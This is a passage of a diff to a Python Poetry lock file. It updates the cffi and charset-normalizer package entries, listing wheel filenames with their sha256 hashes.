"cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"}, + {file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"}, + {file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"}, + {file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"}, + {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"}, + {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"}, + {file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"}, + {file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"}, + {file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"}, + {file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"}, + {file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"}, + {file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"}, + {file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"}, + {file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"}, + {file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"}, + {file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"}, ] [package.dependencies] @@ -454,101 +465,116 @@ pycparser = "*" [[package]] name = "charset-normalizer" -version = "3.3.2" +version = "3.4.0" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false python-versions = ">=3.7.0" files = [ - {file = "charset-normalizer-3.3.2.tar.gz", hash = "sha256:f30c3cb33b24454a82faecaf01b19c18562b1e89558fb6c56de4d9118a032fd5"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:25baf083bf6f6b341f4121c2f3c548875ee6f5339300e08be3f2b2ba1721cdd3"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:06435b539f889b1f6f4ac1758871aae42dc3a8c0e24ac9e60c2384973ad73027"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9063e24fdb1e498ab71cb7419e24622516c4a04476b17a2dab57e8baa30d6e03"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6897af51655e3691ff853668779c7bad41579facacf5fd7253b0133308cf000d"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1d3193f4a680c64b4b6a9115943538edb896edc190f0b222e73761716519268e"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd70574b12bb8a4d2aaa0094515df2463cb429d8536cfb6c7ce983246983e5a6"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8465322196c8b4d7ab6d1e049e4c5cb460d0394da4a27d23cc242fbf0034b6b5"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a9a8e9031d613fd2009c182b69c7b2c1ef8239a0efb1df3f7c8da66d5dd3d537"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:beb58fe5cdb101e3a055192ac291b7a21e3b7ef4f67fa1d74e331a7f2124341c"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e06ed3eb3218bc64786f7db41917d4e686cc4856944f53d5bdf83a6884432e12"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:2e81c7b9c8979ce92ed306c249d46894776a909505d8f5a4ba55b14206e3222f"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:572c3763a264ba47b3cf708a44ce965d98555f618ca42c926a9c1616d8f34269"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fd1abc0d89e30cc4e02e4064dc67fcc51bd941eb395c502aac3ec19fab46b519"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-win32.whl", hash = "sha256:3d47fa203a7bd9c5b6cee4736ee84ca03b8ef23193c0d1ca99b5089f72645c73"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:10955842570876604d404661fbccbc9c7e684caf432c09c715ec38fbae45ae09"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:802fe99cca7457642125a8a88a084cef28ff0cf9407060f7b93dca5aa25480db"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:573f6eac48f4769d667c4442081b1794f52919e7edada77495aaed9236d13a96"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:549a3a73da901d5bc3ce8d24e0600d1fa85524c10287f6004fbab87672bf3e1e"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f27273b60488abe721a075bcca6d7f3964f9f6f067c8c4c605743023d7d3944f"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ceae2f17a9c33cb48e3263960dc5fc8005351ee19db217e9b1bb15d28c02574"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:65f6f63034100ead094b8744b3b97965785388f308a64cf8d7c34f2f2e5be0c4"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:753f10e867343b4511128c6ed8c82f7bec3bd026875576dfd88483c5c73b2fd8"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a78b2b446bd7c934f5dcedc588903fb2f5eec172f3d29e52a9096a43722adfc"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e537484df0d8f426ce2afb2d0f8e1c3d0b114b83f8850e5f2fbea0e797bd82ae"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:eb6904c354526e758fda7167b33005998fb68c46fbc10e013ca97f21ca5c8887"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:deb6be0ac38ece9ba87dea880e438f25ca3eddfac8b002a2ec3d9183a454e8ae"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:4ab2fe47fae9e0f9dee8c04187ce5d09f48eabe611be8259444906793ab7cbce"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80402cd6ee291dcb72644d6eac93785fe2c8b9cb30893c1af5b8fdd753b9d40f"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-win32.whl", hash = "sha256:7cd13a2e3ddeed6913a65e66e94b51d80a041145a026c27e6bb76c31a853c6ab"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:663946639d296df6a2bb2aa51b60a2454ca1cb29835324c640dafb5ff2131a77"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:0b2b64d2bb6d3fb9112bafa732def486049e63de9618b5843bcdd081d8144cd8"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:ddbb2551d7e0102e7252db79ba445cdab71b26640817ab1e3e3648dad515003b"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:55086ee1064215781fff39a1af09518bc9255b50d6333f2e4c74ca09fac6a8f6"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8f4a014bc36d3c57402e2977dada34f9c12300af536839dc38c0beab8878f38a"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a10af20b82360ab00827f916a6058451b723b4e65030c5a18577c8b2de5b3389"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8d756e44e94489e49571086ef83b2bb8ce311e730092d2c34ca8f7d925cb20aa"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90d558489962fd4918143277a773316e56c72da56ec7aa3dc3dbbe20fdfed15b"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac7ffc7ad6d040517be39eb591cac5ff87416c2537df6ba3cba3bae290c0fed"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:7ed9e526742851e8d5cc9e6cf41427dfc6068d4f5a3bb03659444b4cabf6bc26"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:8bdb58ff7ba23002a4c5808d608e4e6c687175724f54a5dade5fa8c67b604e4d"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:6b3251890fff30ee142c44144871185dbe13b11bab478a88887a639655be1068"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:b4a23f61ce87adf89be746c8a8974fe1c823c891d8f86eb218bb957c924bb143"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:efcb3f6676480691518c177e3b465bcddf57cea040302f9f4e6e191af91174d4"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-win32.whl", hash = "sha256:d965bba47ddeec8cd560687584e88cf699fd28f192ceb452d1d7ee807c5597b7"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:96b02a3dc4381e5494fad39be677abcb5e6634bf7b4fa83a6dd3112607547001"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:95f2a5796329323b8f0512e09dbb7a1860c46a39da62ecb2324f116fa8fdc85c"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c002b4ffc0be611f0d9da932eb0f704fe2602a9a949d1f738e4c34c75b0863d5"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a981a536974bbc7a512cf44ed14938cf01030a99e9b3a06dd59578882f06f985"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3287761bc4ee9e33561a7e058c72ac0938c4f57fe49a09eae428fd88aafe7bb6"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:42cb296636fcc8b0644486d15c12376cb9fa75443e00fb25de0b8602e64c1714"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0a55554a2fa0d408816b3b5cedf0045f4b8e1a6065aec45849de2d6f3f8e9786"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c083af607d2515612056a31f0a8d9e0fcb5876b7bfc0abad3ecd275bc4ebc2d5"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:87d1351268731db79e0f8e745d92493ee2841c974128ef629dc518b937d9194c"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bd8f7df7d12c2db9fab40bdd87a7c09b1530128315d047a086fa3ae3435cb3a8"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:c180f51afb394e165eafe4ac2936a14bee3eb10debc9d9e4db8958fe36afe711"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:8c622a5fe39a48f78944a87d4fb8a53ee07344641b0562c540d840748571b811"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-win32.whl", hash = "sha256:db364eca23f876da6f9e16c9da0df51aa4f104a972735574842618b8c6d999d4"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-win_amd64.whl", hash = "sha256:86216b5cee4b06df986d214f664305142d9c76df9b6512be2738aa72a2048f99"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:6463effa3186ea09411d50efc7d85360b38d5f09b870c48e4600f63af490e56a"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6c4caeef8fa63d06bd437cd4bdcf3ffefe6738fb1b25951440d80dc7df8c03ac"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:37e55c8e51c236f95b033f6fb391d7d7970ba5fe7ff453dad675e88cf303377a"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb69256e180cb6c8a894fee62b3afebae785babc1ee98b81cdf68bbca1987f33"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ae5f4161f18c61806f411a13b0310bea87f987c7d2ecdbdaad0e94eb2e404238"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b2b0a0c0517616b6869869f8c581d4eb2dd83a4d79e0ebcb7d373ef9956aeb0a"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45485e01ff4d3630ec0d9617310448a8702f70e9c01906b0d0118bdf9d124cf2"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eb00ed941194665c332bf8e078baf037d6c35d7c4f3102ea2d4f16ca94a26dc8"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2127566c664442652f024c837091890cb1942c30937add288223dc895793f898"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a50aebfa173e157099939b17f18600f72f84eed3049e743b68ad15bd69b6bf99"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4d0d1650369165a14e14e1e47b372cfcb31d6ab44e6e33cb2d4e57265290044d"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:923c0c831b7cfcb071580d3f46c4baf50f174be571576556269530f4bbd79d04"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:06a81e93cd441c56a9b65d8e1d043daeb97a3d0856d177d5c90ba85acb3db087"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-win32.whl", hash = "sha256:6ef1d82a3af9d3eecdba2321dc1b3c238245d890843e040e41e470ffa64c3e25"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-win_amd64.whl", hash = "sha256:eb8821e09e916165e160797a6c17edda0679379a4be5c716c260e836e122f54b"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c235ebd9baae02f1b77bcea61bce332cb4331dc3617d254df3323aa01ab47bd4"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5b4c145409bef602a690e7cfad0a15a55c13320ff7a3ad7ca59c13bb8ba4d45d"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:68d1f8a9e9e37c1223b656399be5d6b448dea850bed7d0f87a8311f1ff3dabb0"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22afcb9f253dac0696b5a4be4a1c0f8762f8239e21b99680099abd9b2b1b2269"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e27ad930a842b4c5eb8ac0016b0a54f5aebbe679340c26101df33424142c143c"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f79682fbe303db92bc2b1136016a38a42e835d932bab5b3b1bfcfbf0640e519"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b261ccdec7821281dade748d088bb6e9b69e6d15b30652b74cbbac25e280b796"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:122c7fa62b130ed55f8f285bfd56d5f4b4a5b503609d181f9ad85e55c89f4185"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:d0eccceffcb53201b5bfebb52600a5fb483a20b61da9dbc885f8b103cbe7598c"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9f96df6923e21816da7e0ad3fd47dd8f94b2a5ce594e00677c0013018b813458"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:7f04c839ed0b6b98b1a7501a002144b76c18fb1c1850c8b98d458ac269e26ed2"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:34d1c8da1e78d2e001f363791c98a272bb734000fcef47a491c1e3b0505657a8"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:ff8fa367d09b717b2a17a052544193ad76cd49979c805768879cb63d9ca50561"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-win32.whl", hash = "sha256:aed38f6e4fb3f5d6bf81bfa990a07806be9d83cf7bacef998ab1a9bd660a581f"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:b01b88d45a6fcb69667cd6d2f7a9aeb4bf53760d7fc536bf679ec94fe9f3ff3d"}, - {file = "charset_normalizer-3.3.2-py3-none-any.whl", hash = "sha256:3e4d1f6587322d2788836a99c69062fbb091331ec940e02d12d179c1d53e25fc"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4f9fc98dad6c2eaa32fc3af1417d95b5e3d08aff968df0cd320066def971f9a6"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0de7b687289d3c1b3e8660d0741874abe7888100efe14bd0f9fd7141bcbda92b"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5ed2e36c3e9b4f21dd9422f6893dec0abf2cca553af509b10cd630f878d3eb99"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40d3ff7fc90b98c637bda91c89d51264a3dcf210cade3a2c6f838c7268d7a4ca"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1110e22af8ca26b90bd6364fe4c763329b0ebf1ee213ba32b68c73de5752323d"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:86f4e8cca779080f66ff4f191a685ced73d2f72d50216f7112185dc02b90b9b7"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7f683ddc7eedd742e2889d2bfb96d69573fde1d92fcb811979cdb7165bb9c7d3"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:27623ba66c183eca01bf9ff833875b459cad267aeeb044477fedac35e19ba907"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f606a1881d2663630ea5b8ce2efe2111740df4b687bd78b34a8131baa007f79b"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0b309d1747110feb25d7ed6b01afdec269c647d382c857ef4663bbe6ad95a912"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:136815f06a3ae311fae551c3df1f998a1ebd01ddd424aa5603a4336997629e95"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:14215b71a762336254351b00ec720a8e85cada43b987da5a042e4ce3e82bd68e"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:79983512b108e4a164b9c8d34de3992f76d48cadc9554c9e60b43f308988aabe"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-win32.whl", hash = "sha256:c94057af19bc953643a33581844649a7fdab902624d2eb739738a30e2b3e60fc"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:55f56e2ebd4e3bc50442fbc0888c9d8c94e4e06a933804e2af3e89e2f9c1c749"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0d99dd8ff461990f12d6e42c7347fd9ab2532fb70e9621ba520f9e8637161d7c"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c57516e58fd17d03ebe67e181a4e4e2ccab1168f8c2976c6a334d4f819fe5944"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6dba5d19c4dfab08e58d5b36304b3f92f3bd5d42c1a3fa37b5ba5cdf6dfcbcee"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bf4475b82be41b07cc5e5ff94810e6a01f276e37c2d55571e3fe175e467a1a1c"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ce031db0408e487fd2775d745ce30a7cd2923667cf3b69d48d219f1d8f5ddeb6"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ff4e7cdfdb1ab5698e675ca622e72d58a6fa2a8aa58195de0c0061288e6e3ea"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3710a9751938947e6327ea9f3ea6332a09bf0ba0c09cae9cb1f250bd1f1549bc"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:82357d85de703176b5587dbe6ade8ff67f9f69a41c0733cf2425378b49954de5"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47334db71978b23ebcf3c0f9f5ee98b8d65992b65c9c4f2d34c2eaf5bcaf0594"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8ce7fd6767a1cc5a92a639b391891bf1c268b03ec7e021c7d6d902285259685c"}, + {file = 